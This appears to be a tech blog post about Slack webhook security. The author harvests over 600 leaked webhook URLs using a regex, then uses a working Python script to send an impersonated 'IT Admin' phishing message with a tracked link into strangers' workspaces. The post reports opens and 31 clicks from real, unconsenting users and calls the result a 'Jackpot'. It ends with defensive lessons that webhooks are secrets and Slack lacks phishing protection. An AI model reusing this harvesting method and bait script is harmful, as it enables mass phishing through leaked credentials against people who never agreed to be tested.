Tech & Engineering Blog

Propagating phishing via Slack webhooks

TL;DR: "Are slack webhooks a secret or not?"

I had this debate with a colleague the other day, and while slack has something official to say about it, I thought the best way to settle the debate would be with a real live example.

Since we also do customer support over slack, the security of this medium has always troubled me. This is especially troubling considering everyone in my workspace (employee or not) can send me private messages if we are on the same channel. I assume phishing will not skip over this communication medium.

My idea to settle the debate was simple - find a webhook, use it to send a “phishing” message and see if it’s being opened.

Slack allows you to define a webhook without a channel or a team associated with it - leaving it for you to define… never trust a stranger.

In 30 minutes of searches in some search engines, github, pastebin (etc) I collected over 600 unique slack webhooks “https://hooks.slack.com/services/T\d+/B\d+/[a-f0-9]+

I wrote a simple script to send my bait:

import json
import requests
import logging
 
FORMAT = '%(asctime)s %(message)s'
logging.basicConfig(filename='test.log', level=logging.INFO, format=FORMAT)
 
db = "sites.txt"
lines = open(db).readlines()
 
# Other ideas: general, announcements, random
channel_name = "random"
 
id = 1
for url in lines:
   id = id + 1
   url = url.strip()
   payload = {
     "channel": "#" + channel_name,
     "username": "IT Admin",
     "icon_url": "https://[some random pic].png",
     "blocks": [{
         "type": "section",
         "text": {
           "type": "mrkdwn",
           "text": "Please follow <[My test server]?id="+str(id)+"|this link> to complete the test. Thanks!"
         }}]
   }
   r = requests.post(url, data=json.dumps(payload))
   logging.info('%s, %s, %d, %s, %s, %s', db, url, id, channel_name, r.status_code, r.text)

On the other side, this is what the users will see

IT admin

Sampling 158 (~quarter) of those webhooks I found, I tried sending the above obvious bait message to a channel I guessed would exist - “random”:

Response code Message #
200 ok 94
404 no_team 17
404 channel_not___found 15
404 no_active_hooks 12
410 channel_is_archived 10
403 invalid_token 6

Ok, so 61% success rate at step1 - sending the message, not bad.

Now I sat and waited, and no less than 10 minutes - I started getting hits - mostly from the User-Agent “Slack-ImgProxy (+https://api.slack.com/robots)” which seems to trigger every time the message is opened by the user’s slack app.

6 hours in (not much) I had over 200 hits from the above UA - meaning many saw my awkward message which was sent to a non critical channel - “random”.

And … 31 users clicked the link in less than 24 hours! Jackpot (and debate settled)

Now, there are several lessons from this little experiment:

  1. Slack webhooks ARE A SECRET - treat them as one!
  2. Slack doesn’t have a built-in anti-phishing solution, so be wary if your workspace has external users or open webhooks.
  3. Using this method, one can achieve over 100% phishing success per message, since every single message could be read by dozens (or thousands) of slack users on the other side.
  4. Slack webhooks ARE A SECRET - treat them as one!

I can make the test much better by sending to broader channels (like general), craft the message better etc, but this was just a simple test to prove a point, not a bug bounty hunt.

I’d love to hear your thoughts on this matter :)